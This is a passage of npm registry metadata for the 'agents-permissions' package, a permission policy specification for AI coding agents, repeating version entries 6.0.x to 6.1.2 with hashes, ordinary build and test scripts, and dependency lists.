ional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.0.0_1787486609506_0.010497939727028394","host":"s3://npm-registry-packages-npm-production"}},"6.0.1":{"name":"agents-permissions","version":"6.0.1","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.0.1","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"50e59f9524445e19752179848503cd7c8201d283","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.0.1.tgz","fileCount":79,"integrity":"sha512-yHL4Tpn3k80DYG/9kDF/abASo0THOq7qJ1gsQAzeOAGVFHoRqbIyL+WBBwj4V99hYWenzKSru+qCkAEdfA7mFg==","signatures":[{"sig":"MEYCIQDdYJSj259UngyK31qth9hZOSGa3wKKp85JjO7mg5w63QIhANUjmYYPtekWDHwGJBhQnhkE7jVESbF0HqKY7Qz2kEwD","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.0.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":853836},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","semver":"^7.8.5","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^24.13.3","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@types/semver":"^7.8.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.0.1_1787487195933_0.0753846102332858","host":"s3://npm-registry-packages-npm-production"}},"6.0.2":{"name":"agents-permissions","version":"6.0.2","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.0.2","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"b4529d001978e6c331f2263064a3976ceba5bd16","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.0.2.tgz","fileCount":79,"integrity":"sha512-S+Ki8YSlXP/uie8UxJkckOJUR1sYKhGD/BpP3PbbpUl+Cw6L3pscEoclivcywxjZUNEVTQLVMDH4Dtc/NAFMqA==","signatures":[{"sig":"MEQCIDybIDoDyOpqZ8WjPkHLSsWZmo0wKz8Anu3aMadDayFQAiAeRg9v65olxPiACh9MHLpfC3+YcWmASTjEA4iyy+HI4A==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.0.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":853836},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","semver":"^7.8.5","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^24.13.3","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@types/semver":"^7.8.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.0.2_1787487578658_0.637553534959977","host":"s3://npm-registry-packages-npm-production"}},"6.0.3":{"name":"agents-permissions","version":"6.0.3","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.0.3","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"a020b9f9db332470d2ad18a90643a27278b43222","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.0.3.tgz","fileCount":79,"integrity":"sha512-lbqMftgmAuc+sQ0Ku91exaMeakSPSFP3G87Jb271BB2Da4GrbbIaay/dFNTv+OpBAFc8wiEeST/abaW9DN2kjA==","signatures":[{"sig":"MEUCIBkDPSLwgaFniLnKvlSXWniAYoQMBGoXuiIjxAbBaLb/AiEA+AlQWObhlRiimBgOLo+4xlkyHMkyJIx3CEqLl1cIUTg=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.0.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":853836},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","semver":"^7.8.5","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^24.13.3","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@types/semver":"^7.8.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.0.3_1787491314925_0.8812365113787395","host":"s3://npm-registry-packages-npm-production"}},"6.0.4":{"name":"agents-permissions","version":"6.0.4","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.0.4","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"ee1c6063b6295815e4422bee5bc38cf87a18df77","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.0.4.tgz","fileCount":79,"integrity":"sha512-fuYosNApV19S/9U3Ll+Z2EsSvCWwc7hgoq4Cg5dNA+9ZkeuTZKinzpHzFg02PT1Nh2X/fxTDuI1MS8MkuE/QgA==","signatures":[{"sig":"MEQCIArxsmiBSSRV0g1u9mQNnOt46b+MVV38Jem6Ua8CA7v6AiBV2raxvv32ENPhjK2u+uLudbKUH3LlCM+252pPOHcJzg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.0.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":853836},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","semver":"^7.8.5","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^24.13.3","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@types/semver":"^7.8.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.0.4_1787493121921_0.012709625642680189","host":"s3://npm-registry-packages-npm-production"}},"6.1.0":{"name":"agents-permissions","version":"6.1.0","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.1.0","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"1646afb35f85fa7465f79d7982717a49be03354b","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.1.0.tgz","fileCount":79,"integrity":"sha512-rwqkr4aKaU22QFCHbc6rRaC8maGMtjoq3hj+7bimSGhLrujQwBKuGo6UVrP5yv15CbhuqHAmEuSOqLLJNA6Xkw==","signatures":[{"sig":"MEYCIQDRL2ekCQQMhHrUNqCMWnKff5HePFQwzPhB2YJ7YcXoGgIhANitdJJ9HeMiV4WRTIk/I8Rn8feHKfMANa3ubnFUtxVi","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.1.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":853836},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","semver":"^7.8.5","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^24.13.3","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@types/semver":"^7.8.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.1.0_1787493591347_0.6549542475068904","host":"s3://npm-registry-packages-npm-production"}},"6.1.1":{"name":"agents-permissions","version":"6.1.1","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.1.1","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"80d5dfb8e9f5c7eb40527fa7af2bc6998a4539aa","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.1.1.tgz","fileCount":79,"integrity":"sha512-OxZSdThotJFvEnblopvhnj/BKq/SYjf4ftGmX8NP2I4hMSrNkpMc+gC//R0JCjGVVpbfHgu2zfcY1osxsZrTlQ==","signatures":[{"sig":"MEQCICQpIgxPTfklYo6hh6yuojwjQYOaNy1YQVI0jkTSNunqAiBvWZJdExv13K1Ro3FtMPzTrYX24418YKGkJr8y0akmWA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.1.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":853836},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 'src/test/*.test.ts'","build":"turbo run _build","check":"turbo run _check","_build":"tsdown","release":"semantic-release","lint:fix":"turbo run _lint:fix","pkgcheck":"turbo run _build --force && pnpm run _pkgcheck","validate":"turbo run _validate","_lint:fix":"eslint --cache --fix .","_pkgcheck":"publint && attw --pack . && node scripts/smoke-dist.mjs","typecheck":"turbo run _typecheck","_typecheck":"tsc --noEmit","release:dry":"semantic-release --dry-run","test:coverage":"turbo run _test:coverage","_test:coverage":"node --experimental-strip-types --test --experimental-test-coverage --test-coverage-lines=80 --test-coverage-branches=80 --test-coverage-functions=80 --test-coverage-include='src/**/*.ts' 'src/test/*.test.ts'"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:4eb81882-15a1-4458-945b-f804977e69a7"}},"repository":{"url":"git+https://github.com/Mearman/agent-permissions.git","type":"git"},"description":"Cross-agent permission policy specification for AI coding agents","directories":{},"sideEffects":false,"_nodeVersion":"24.19.0","dependencies":{"zod":"^4.4.3","@modelcontextprotocol/sdk":"^1.29.0"},"publishConfig":{"access":"public","provenance":true},"_hasShrinkwrap":false,"devDependencies":{"knip":"^6.32.2","yaml":"^2.9.0","husky":"^9.1.7","turbo":"^2.9.12","eslint":"^10.3.0","semver":"^7.8.5","tsdown":"^0.22.0","publint":"^0.3.20","prettier":"^3.8.3","rolldown":"^1.0.0","@eslint/js":"^10.0.1","typescript":"^6.0.3","@types/node":"^24.13.3","lint-staged":"^17.0.3","@eslint/json":"^2.0.1","undici-types":"^8.2.0","@types/semver":"^7.8.0","@commitlint/cli":"^21.0.0","@eslint/markdown":"^8.0.3","@opencode-ai/sdk":"^1.14.41","semantic-release":"^25.0.3","@commitlint/types":"^21.2.0","@openai/codex-sdk":"^0.130.0","typescript-eslint":"^8.59.2","yaml-eslint-parser":"^2.1.0","eslint-plugin-depend":"^1.5.0","@arethetypeswrong/cli":"^0.18.2","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/exec":"^7.1.0","eslint-config-prettier":"^10.1.8","eslint-plugin-prettier":"^5.5.5","@semantic-release/github":"^12.0.8","@semantic-release/changelog":"^6.0.3","@anthropic-ai/claude-agent-sdk":"^0.2.138","@commitlint/config-conventional":"^21.0.0","conventional-changelog-conventionalcommits":"^9.3.1"},"_npmOperationalInternal":{"tmp":"tmp/agents-permissions_6.1.1_1787494074037_0.47329728045416797","host":"s3://npm-registry-packages-npm-production"}},"6.1.2":{"name":"agents-permissions","version":"6.1.2","keywords":["agents","permissions","ai","coding-agent","claude-code","codex","opencode","crush","cross-agent","mcp","mcp-server","policy","sync","zod"],"author":"Joseph Mearman","license":"Apache-2.0","_id":"agents-permissions@6.1.2","maintainers":[{"name":"jmearman","email":"joseph@mearman.co.uk"}],"homepage":"https://github.com/Mearman/agent-permissions#readme","bugs":{"url":"https://github.com/Mearman/agent-permissions/issues"},"bin":{"agent-perms":"./dist/cli.mjs","agent-perms-mcp":"./dist/cli.mjs"},"dist":{"shasum":"6aef7b601421afd81657ae12b3f2fa4581fd1822","tarball":"https://registry.npmjs.org/agents-permissions/-/agents-permissions-6.1.2.tgz","fileCount":79,"integrity":"sha512-IYgUvRTYB22gmVHsouCYy+p6LgokTw2XGnoMZkzpvapXdFhafryx47y/cH4kGXquZUWvsDlJg8sl5NFFi5k1iA==","signatures":[{"sig":"MEUCIGtAJ8OEqf1ESRl8T+DkSdh0OR95QP5w/b7PLkt7jFxbAiEAl4R7YQ/mPqHf6v5nUAkykNJXRMBtct0XvLnWxJxK5qk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/agents-permissions@6.1.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":858962},"main":"./dist/schema.cjs","type":"module","types":"./dist/schema.d.mts","module":"./dist/schema.mjs","engines":{"node":">=24"},"exports":{".":{"types":{"import":"./dist/schema.d.mts","require":"./dist/schema.d.cts"},"import":"./dist/schema.mjs","default":"./dist/schema.cjs","require":"./dist/schema.cjs"},"./*":{"types":{"import":"./dist/*.d.mts","require":"./dist/*.d.cts"},"import":"./dist/*.mjs","default":"./dist/*.cjs","require":"./dist/*.cjs"},"./agent-permissions.schema.json":"./agent-permissions.schema.json"},"scripts":{"dev":"tsdown --watch","fix":"pnpm run _lint:fix","lint":"turbo run _lint","test":"turbo run _test","_lint":"eslint --cache .","_test":"node --experimental-strip-types --test 